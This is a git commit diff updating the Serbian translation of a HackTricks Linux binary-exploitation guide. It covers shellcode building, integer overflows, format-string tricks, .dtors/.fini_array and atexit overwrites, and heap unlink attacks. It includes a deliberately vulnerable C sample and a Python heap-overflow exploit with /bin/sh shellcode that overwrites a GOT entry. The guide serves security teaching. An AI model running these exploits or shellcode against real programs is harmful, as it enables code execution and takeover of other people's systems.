mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin
This commit is contained in:
parent
488f0f4525
commit
218f9ee0f9
16 changed files with 557 additions and 375 deletions
|
@ -700,8 +700,9 @@
|
|||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
* [Pointer Redirecting](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2ret & Reo2pop](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md)
|
||||
* [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md)
|
||||
|
@ -717,10 +718,11 @@
|
|||
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
|
||||
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [BF Forked & Threaded Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
* [One Gadget](reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AWS2Exec - .dtors & .fini\_array](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini\_array.md)
|
||||
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -29,7 +29,7 @@ int 0x80 ; Izvršiti syscall
|
|||
|
||||
**nasm -f elf assembly.asm** —> Vraća nam .o datoteku\
|
||||
**ld assembly.o -o shellcodeout** —> Daje nam izvršnu datoteku formiranu od asemblerskog koda i možemo izvući opkodove sa **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Da vidimo da je zaista naš shellcode i izvučemo OpKodove
|
||||
**objdump -d -Mintel ./shellcodeout** —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove
|
||||
|
||||
**Proverite da li shellcode funkcioniše**
|
||||
```
|
||||
|
@ -41,9 +41,9 @@ fp = (void *)shellcode;
|
|||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u **strace ./KOMPILIRANI_PROGRAM**
|
||||
Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u **strace ./PROGRAMA\_COMPILADO**
|
||||
|
||||
Prilikom kreiranja shellcode-a možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodaje EIP na stek. Nakon poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.
|
||||
Prilikom kreiranja shellcode-ova možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.
|
||||
|
||||
PRIMER **TRICK (/bin/sh)**:
|
||||
```
|
||||
|
@ -120,64 +120,21 @@ sc:
|
|||
```
|
||||
## **5. Dodatne metode**
|
||||
|
||||
**Ret2Ret**
|
||||
|
||||
Koristan kada nije moguće ubaciti adresu steka u EIP (proverava se da EIP ne sadrži 0xbf) ili kada nije moguće izračunati lokaciju shell koda. Međutim, ranjiva funkcija prihvata parametar (ovde će ići shell kod).
|
||||
|
||||
Na ovaj način, menjanjem EIP sa adresom **ret**, učitaće se sledeća adresa (koja je adresa prvog argumenta funkcije). Drugim rečima, učitaće se shell kod.
|
||||
|
||||
Exploit bi izgledao ovako: SHELLCODE + Punjenje (do EIP) + **\&ret** (naredni bajtovi steka pokazuju na početak shell koda jer se adresa prosleđenog parametra stavlja na stek)
|
||||
|
||||
Izgleda da funkcije poput **strncpy** nakon završetka brišu adresu gde je bio smešten shell kod, onemogućavajući ovu tehniku. Drugim rečima, adresa koja se prosleđuje funkciji kao argument (ona koja čuva shell kod) se menja u 0x00, pa kada se pozove drugi **ret**, naiđe se na 0x00 i program se ruši.
|
||||
|
||||
|
||||
|
||||
**Muratova tehnika**
|
||||
|
||||
U linuxu, svi programi se mapiraju počevši od 0xbfffffff
|
||||
Na linuxu se svi programi mapiraju počevši od 0xbfffffff
|
||||
|
||||
Posmatrajući kako se konstruiše stek novog procesa u linuxu, može se razviti exploit tako da program bude pokrenut u okruženju gde je jedina promenljiva shell kod. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
Posmatrajući kako se konstruiše stek novog procesa u linuxu, može se razviti exploit tako da program bude pokrenut u okruženju u kojem je jedina promenljiva shellcode. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
|
||||
Na ovaj način, lako se dobija adresa gde se nalazi promenljiva okruženja sa shell kodom.
|
||||
Na ovaj način se na jednostavan način može dobiti adresa gde se nalazi promenljiva okoline sa shellcode.
|
||||
|
||||
Ovo se može postići zahvaljujući funkciji execle koja omogućava kreiranje okruženja koje ima samo željene promenljive okruženja
|
||||
Ovo se može postići zahvaljujući tome što funkcija execle omogućava kreiranje okruženja koje ima samo željene promenljive okoline.
|
||||
|
||||
**Prekoračenja celih brojeva**
|
||||
|
||||
Ova vrsta prekoračenja se dešava kada promenljiva nije spremna da podrži tako veliki broj koji joj se prosleđuje, možda zbog zabune između promenljivih sa i bez znaka, na primer:
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(int argc, char *argv[]){
|
||||
int len;
|
||||
unsigned int l;
|
||||
char buffer[256];
|
||||
int i;
|
||||
len = l = strtoul(argv[1], NULL, 10);
|
||||
printf("\nL = %u\n", l);
|
||||
printf("\nLEN = %d\n", len);
|
||||
if (len >= 256){
|
||||
printf("\nLongitus excesiva\n");
|
||||
exit(1);
|
||||
}
|
||||
if(strlen(argv[2]) < l)
|
||||
strcpy(buffer, argv[2]);
|
||||
else
|
||||
printf("\nIntento de hack\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
U prethodnom primeru vidimo da program očekuje 2 parametra. Prvi je dužina sledećeg niza, a drugi je sam niz.
|
||||
|
||||
Ako prosledimo negativan broj kao prvi parametar, program će prikazati da je len < 256 i proći će taj filter, a takođe će strlen(buffer) biti manji od l, jer je l unsigned int i biće veoma velik.
|
||||
|
||||
Ovaj tip preplavljenja ne pokušava da nešto upiše u proces programa, već da prevaziđe loše dizajnirane filtere kako bi iskoristio druge ranjivosti.
|
||||
|
||||
**Nekonfigurisane promenljive**
|
||||
|
||||
Nije poznato koji će vrednost uzeti nekonfigurisana promenljiva i bilo bi zanimljivo posmatrati je. Moguće je da će uzeti vrednost koju je imala promenljiva iz prethodne funkcije i da je ova kontrolisana od strane napadača.
|
||||
|
||||
##
|
||||
|
||||
|
@ -187,88 +144,40 @@ Nije poznato koji će vrednost uzeti nekonfigurisana promenljiva i bilo bi zanim
|
|||
|
||||
###
|
||||
|
||||
### **.fini\_array**
|
||||
|
||||
Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
./greeting: file format elf32-i386
|
||||
|
||||
Contents of section .fini_array:
|
||||
8049934 a0850408
|
||||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
Napomena da ovo **neće** stvoriti **večnu petlju** jer kada se vratite u glavni program, kanarinci će primetiti, kraj steka može biti oštećen i funkcija više neće biti ponovo pozvana. Dakle, s ovim ćete moći **izvršiti još 1 put** ranjivost.
|
||||
|
||||
### **Formatiranje stringova za ispis sadržaja**
|
||||
|
||||
Formatni string takođe može biti zloupotrebljen da **izbaci sadržaj** iz memorije programa. Na primer, u sledećoj situaciji postoji **lokalna promenljiva na steku koja pokazuje na zastavu**. Ako **pronađete** gde je u **memoriji** **pokazivač** na **zastavu**, možete naterati **printf da pristupi** toj **adresi** i **ispise** zastavu:
|
||||
|
||||
Dakle, zastava je na **0xffffcf4c**
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (2).png>)
|
||||
|
||||
Iz curenja možete videti da je **pokazivač na zastavu** u **8.** parametru:
|
||||
|
||||
![](<../../.gitbook/assets/image (623).png>)
|
||||
|
||||
Dakle, **pristupanjem 8. parametru** možete dobiti zastavu:
|
||||
|
||||
![](<../../.gitbook/assets/image (624).png>)
|
||||
|
||||
Napomena da nakon **prethodnog napada** i shvatanja da možete **procureti sadržaj**, možete postaviti pokazivače na **`printf`** na odeljak gde je **izvršiv** program i **potpuno ga isprazniti**!
|
||||
|
||||
### **DTOR**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Danas je vrlo **čudno naći binarnu datoteku sa odeljkom dtor**.
|
||||
{% endhint %}
|
||||
|
||||
Destruktori su funkcije koje se **izvršavaju pre završetka programa**. Ako uspete **upisati** adresu **shell koda** u **`__DTOR_END__`**, to će se **izvršiti** pre završetka programa. Dobijte adresu ovog odeljka sa:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Obično ćete pronaći **DTOR** sekciju **između** vrednosti `ffffffff` i `00000000`. Dakle, ako vidite samo te vrednosti, to znači da **nema registrovane funkcije**. Dakle, **prepišite** **`00000000`** sa **adresom** **shell koda** da biste ga izvršili.
|
||||
###
|
||||
|
||||
### **Formatiranje stringova za preplavljivanje bafera**
|
||||
|
||||
**Sprintf** pomera formatiran string **u** **promenljivu**. Stoga, možete zloupotrebiti **formatiranje** stringa da izazovete **preplavljivanje bafera u promenljivoj** gde se sadržaj kopira.\
|
||||
Na primer, payload `%.44xAAAA` će **upisati 44B+"AAAA" u promenljivu**, što može izazvati preplavljivanje bafera.
|
||||
**sprintf** pomera formatiran string u promenljivu. Stoga, možete zloupotrebiti formatiranje stringa kako biste izazvali preplavljivanje bafera u promenljivoj u koju se kopira sadržaj. Na primer, payload `%.44xAAAA` će upisati 44B+"AAAA" u promenljivu, što može izazvati preplavljivanje bafera.
|
||||
|
||||
### **\_\_atexit Strukture**
|
||||
### **Strukture \_\_atexit**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Danas je vrlo **čudno iskoristiti ovo**.
|
||||
Danas je vrlo retko iskoristiti ovo.
|
||||
{% endhint %}
|
||||
|
||||
**`Atexit()`** je funkcija kojoj se **prosleđuju druge funkcije kao parametri.** Ove **funkcije** će biti **izvršene** prilikom izvršavanja **`exit()`** ili **povratka** iz **main** funkcije.\
|
||||
Ako možete **modifikovati** **adresu** bilo koje od ovih **funkcija** da pokazuje na shell kod na primer, dobićete **kontrolu** nad **procesom**, ali trenutno je to komplikovanije.\
|
||||
Trenutno su **adrese funkcija** koje treba izvršiti **skrivene** iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su **šifrovane XOR**-om i pomeraji sa **slučajnim ključem**. Tako da je ovaj vektor napada trenutno **nije vrlo koristan bar na x86** i **x64\_86** arhitekturama.\
|
||||
**Funkcija za šifrovanje** je **`PTR_MANGLE`**. **Druge arhitekture** poput m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju za šifrovanje** jer **vraćaju isto** što su primile kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada.
|
||||
**`atexit()`** je funkcija kojoj se prosleđuju druge funkcije kao parametri. Ove funkcije će biti izvršene prilikom izvršavanja `exit()` ili povratka iz glavnog programa. Ako možete da modifikujete adresu bilo koje od ovih funkcija da pokazuje na shellcode na primer, preuzete ćete kontrolu nad procesom, ali je to trenutno komplikovanije. Trenutno su adrese funkcija koje treba izvršiti sakrivene iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su šifrovane sa XOR-om i pomerajima sa slučajnim ključem. Tako da je ovaj vektor napada trenutno vrlo malo koristan, barem na x86 i x64\_86 arhitekturama. Funkcija za šifrovanje je `PTR_MANGLE`. **Druge arhitekture** poput m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju za šifrovanje** jer **vraćaju isto** što su primile kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada.
|
||||
|
||||
### **Setjmp() & longjmp()**
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Danas je vrlo **čudno iskoristiti ovo**.
|
||||
Danas je vrlo retko iskoristiti ovo.
|
||||
{% endhint %}
|
||||
|
||||
**`Setjmp()`** omogućava da se **sačuva** **kontekst** (registri)\
|
||||
**`Longjmp()`** omogućava da se **vrati** **kontekst**.\
|
||||
**`Setjmp()`** omogućava **čuvanje konteksta** (registara)\
|
||||
**`longjmp()`** omogućava **obnavljanje konteksta**.\
|
||||
Sačuvani registri su: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Ono što se dešava je da se EIP i ESP prosleđuju kroz **`PTR_MANGLE`** funkciju, tako da su **arhitekture podložne ovom napadu iste kao gore**.\
|
||||
Ono što se dešava je da se EIP i ESP prosleđuju kroz funkciju **`PTR_MANGLE`**, tako da su **arhitekture podložne ovom napadu iste kao i gore navedene**.\
|
||||
Koriste se za oporavak grešaka ili prekide.\
|
||||
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **pa ako postoji `call ebx`, `call esi` ili `call edi`** unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste promenili ESP.
|
||||
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste promenili ESP.
|
||||
|
||||
**VTable i VPTR u C++**
|
||||
|
||||
Svaka klasa ima **Vtabelu** koja je niz **pokazivača na metode**.
|
||||
|
||||
Svaki objekat **klase** ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** **VPtr-a** može se **modifikovati** da **pokazuje** na lažnu metodu tako da izvršavanje funkcije ode na shell kod.
|
||||
Svaki objekat **klase** ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** VPtr-a, može se **modifikovati** da pokazuje na lažnu metodu tako da izvršavanje funkcije ode do shellcode-a.
|
||||
|
||||
## **Preventivne mere i izbegavanja**
|
||||
## **Prevantivne mere i izbegavanja**
|
||||
|
||||
###
|
||||
|
||||
|
@ -282,11 +191,11 @@ Pozivi nekih nesigurnih funkcija se presreću sigurnijim. Nije standardizovano.
|
|||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
Sastoji se u učitavanju deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja skoro nijedan napad, a posebno ne u little endian formatu.
|
||||
Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zaista ne zaustavlja skoro nijedan napad, a posebno ne u little endian formatu.
|
||||
|
||||
**Ret2plt**
|
||||
**ret2plt**
|
||||
|
||||
Sastoji se u izvođenju ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri na unos u GOT i kopira prvi bajt funkcije koju želite pozvati (system()). Zatim se isto radi usmeravajući se na GOT+1 i kopira se 2. bajt system()... Na kraju se poziva sačuvana adresa u GOT koja će biti system()
|
||||
Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se ka ulazu u GOT i kopira prvi bajt funkcije koja se želi pozvati (system()). Zatim se isto radi usmeravajući se ka GOT+1 i kopira se drugi bajt system()... Na kraju se poziva sačuvana adresa u GOT koja će biti system()
|
||||
|
||||
**Kavezi sa chroot()**
|
||||
|
||||
|
@ -300,6 +209,59 @@ Valgrind —> Traži greške\
|
|||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
|
||||
## **8 Preplavljivanje hipa: Osnovni eksploiti**
|
||||
|
||||
**Dodeljeni blok**
|
||||
|
||||
prev\_size |\
|
||||
size | —Zaglavlje\
|
||||
\*mem | Podaci
|
||||
|
||||
**Slobodan blok**
|
||||
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | Ptr naprednog bloka\
|
||||
\*bk | Ptr nazadnog bloka —Zaglavlje\
|
||||
\*mem | Podaci
|
||||
|
||||
Slobodni blokovi su u listi dvostruko povezanih (bin) i nikada ne mogu biti dva slobodna bloka zajedno (spajaju se)
|
||||
|
||||
U "size" postoje bitovi koji pokazuju: Da li je prethodni blok u upotrebi, da li je blok dodeljen putem mmap() i da li blok pripada primarnoj areni.
|
||||
|
||||
Ako se oslobodi blok i bilo koji od susednih blokova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći blok se prosleđuje frontlink() da ga ubaci u odgovarajući bin.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> BK novog bloka je onaj koji je imao blok koji je već bio slobodan\
|
||||
FD = P->fd; —> FD novog bloka je onaj koji je imao blok koji je već bio slobodan\
|
||||
FD->bk = BK; —> BK sledećeg bloka pokazuje na novi blok\
|
||||
BK->fd = FD; —> FD prethodnog bloka pokazuje na novi blok\
|
||||
}
|
||||
|
||||
Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode-a i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
I tako se izvršava shellcode prilikom izlaska iz programa.
|
||||
|
||||
Takođe, 4. izjava unlink() piše nešto i shellcode mora biti prilagođen za ovo:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Ovo uzrokuje pisanje 4 bajta počevši od 8. bajta shellcode-a, tako da prva instrukcija shellcode-a mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shellcode-a.
|
||||
|
||||
Stoga se exploit kreira:
|
||||
|
||||
U buffer1 ubacujemo shellcode počevši od skoka kako bi prešao na nops ili na ostatak shellcode-a.
|
||||
|
||||
Nakon shellcode-a ubacujemo punjenje dok ne dođemo do polja prev\_size i size sledećeg bloka. Na ovim mestima ubacujemo 0xfffffff0 (tako da se prev\_size prepiše da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da bi kada proveri u 3. bloku da li je 2. bio slobodan, zapravo ode na modifikovani prev\_size koji će reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali će zapravo ići na 2. - 4 i misliće da je 2. blok slobodan. Tada će pozvati **unlink()**.
|
||||
Prilikom poziva unlink() koristiće se prvi podaci iz 2. dela, tako da će se tu ubaciti adresa koju želite da prepisujete - 12 (jer će u FD->bk dodati 12 na adresu sačuvanu u FD). Na toj adresi će se uneti druga adresa koja se nalazi u 2. delu, a koja će biti adresa shell koda (P->bk lažni).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
@ -308,73 +270,73 @@ Insure++
|
|||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #Bit koji označava da je prethodni komad slobodan treba biti postavljen na 1**
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #Bit koji označava da je prethodni deo slobodan treba da bude 1**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, kako bi se mislilo da je "size" trećeg komada 4 bajta unazad (ukazuje na prev\_size) jer se tu proverava da li je drugi komad slobodan**
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, da bi mislio da je "size" 3. dela 4 bajta unazad (ukazuje na prev\_size) jer tu proverava da li je 2. deo slobodan**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Na početku payloada dodajemo 8 bajtova punjenja**
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #U payloadu na početku ćemo staviti 8 bajtova punjenja**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće prebrisana kako bi se shellcode pokrenula drugi put kada se free pozove)**
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja će biti prepisana da bi se pokrenuo shell kod drugi put kada se pozove free)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Kako je rečeno, payload počinje sa 8 bajtova punjenja**
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Kako je rečeno, payload počinje sa 8 bajtova punjenja jer tako**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modifikuje se drugi komad, got\_free pokazuje gde ćemo sačuvati adresu addr\_sc + 12**
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Menja se 2. deo, got\_free pokazuje gde ćemo sačuvati adresu addr\_sc + 12**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() oslobađanje u obrnutom redosledu (wargame)**
|
||||
|
||||
Kontrolišemo 3 uzastopna chunk-a i oslobađaju se u obrnutom redosledu od rezervacije.
|
||||
Kontrolišemo 3 uzastopna chunk-a i oslobađaju se u obrnutom redosledu od rezervisanja.
|
||||
|
||||
U tom slučaju:
|
||||
|
||||
U chunk-u c se stavlja shellcode
|
||||
U chunk c se stavlja shell kod
|
||||
|
||||
Chunk a koristimo da prepišemo b tako da size ima deaktiviran bit PREV\_INUSE kako bi mislio da je chunk a slobodan.
|
||||
Chunk a koristimo da prepisujemo b tako da size ima deaktiviran bit PREV\_INUSE tako da misli da je chunk a slobodan.
|
||||
|
||||
Takođe, u zaglavlju b se prepiše size da bude -4.
|
||||
Takođe, u zaglavlju b se prepisuje size da bude -4.
|
||||
|
||||
Tada će program misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odveže. Međutim, pošto je PREV\_SIZE u zaglavlju -4, misliće da chunk "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na chunk koji počinje na b+4, pa će u b+12 biti pokazivač "fd", a u b+16 pokazivač "bk".
|
||||
Zatim, program će misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odvoji. Međutim, pošto je PREV\_SIZE u zaglavlju -4, misliće da deo "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na deo koji počinje na b+4, tako da će na b+12 biti pokazivač "fd", a na b+16 će biti pokazivač "bk".
|
||||
|
||||
Na taj način, ako stavimo adresu shellcode u bk i adresu funkcije "puts()" -12 u fd, imamo naš payload.
|
||||
Na taj način, ako stavimo adresu shell koda u bk i adresu funkcije "puts()" -12 u fd, imamo naš payload.
|
||||
|
||||
**Tehnika Frontlink**
|
||||
|
||||
Poziva se frontlink kada se nešto oslobodi i nijedan od susednih chunk-ova nije slobodan, umesto pozivanja unlink() direktno se poziva frontlink().
|
||||
Poziva se frontlink kada se nešto oslobodi i nijedan od susednih delova nije slobodan, ne poziva se unlink() već se direktno poziva frontlink().
|
||||
|
||||
Korisna ranjivost kada malloc koji se napada nikada nije oslobođen (free()).
|
||||
|
||||
Potrebno je:
|
||||
|
||||
Buffer koji može biti preplavljen funkcijom unos podataka
|
||||
Buffer koji može biti preplavljen funkcijom za unos podataka
|
||||
|
||||
Buffer koji je susedan ovom koji treba biti oslobođen i čije će se polje fd u zaglavlju promeniti zbog prelivanja prethodnog bafera
|
||||
Buffer koji je susedan ovom koji treba da se oslobodi i čiji će se polje fd u zaglavlju promeniti zbog prelivanja prethodnog bafera
|
||||
|
||||
Buffer koji treba osloboditi sa veličinom većom od 512 ali manjom od prethodnog bafera
|
||||
|
||||
Buffer deklarisan pre koraka 3 koji omogućava prepisivanje prev\_size ovog
|
||||
Buffer koji je deklarisan pre koraka 3 koji omogućava prepisivanje prev\_size ovog bafera
|
||||
|
||||
Na ovaj način, preplavljujući dva malloc-a na nekontrolisan način i jedan na kontrolisan način koji se oslobađa samo jednom, možemo napraviti eksploataciju.
|
||||
Na ovaj način, preplavljujući dva malloc-a na nekontrolisan način i jedan na kontrolisan način koji se oslobađa samo jednom, možemo napraviti eksploit.
|
||||
|
||||
**Ranjivost double free()**
|
||||
|
||||
Ako se dva puta pozove free() sa istim pokazivačem, dva bin-a pokazuju na istu adresu.
|
||||
|
||||
U slučaju da se želi ponovo koristiti jedan, to se može uraditi bez problema. U slučaju da se želi koristiti drugi, dodeliće mu se isti prostor, pa ćemo imati pokazivače "fd" i "bk" sa lažnim podacima koje će upisati prethodna rezervacija.
|
||||
U slučaju da želimo ponovo koristiti jedan, to se može uraditi bez problema. U slučaju da želimo koristiti drugi, dodeliće se isti prostor, tako da bismo imali lažne pokazivače "fd" i "bk" sa podacima koje će upisati prethodna rezervacija.
|
||||
|
||||
**After free()**
|
||||
|
||||
Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.
|
||||
|
||||
## **8 Preplavljenosti hipa: Napredni eksploiti**
|
||||
## **8 Heap Overflow: Napredni eksploiti**
|
||||
|
||||
Tehnike Unlink() i FrontLink() su uklonjene modifikacijom funkcije unlink().
|
||||
|
||||
**The house of mind**
|
||||
|
||||
Potrebno je samo jedno pozivanje free() da bi se izazvalo izvršavanje proizvoljnog koda. Potrebno je pronaći drugi chunk koji može biti preplavljen od strane prethodnog i oslobođen.
|
||||
Samo jedan poziv free() je potreban da bi se izvršio proizvoljni kod. Bitno je pronaći drugi deo koji može biti preplavljen od strane prethodnog i oslobođen.
|
||||
|
||||
Pozivanje free() dovodi do poziva public\_fREe(mem), što radi:
|
||||
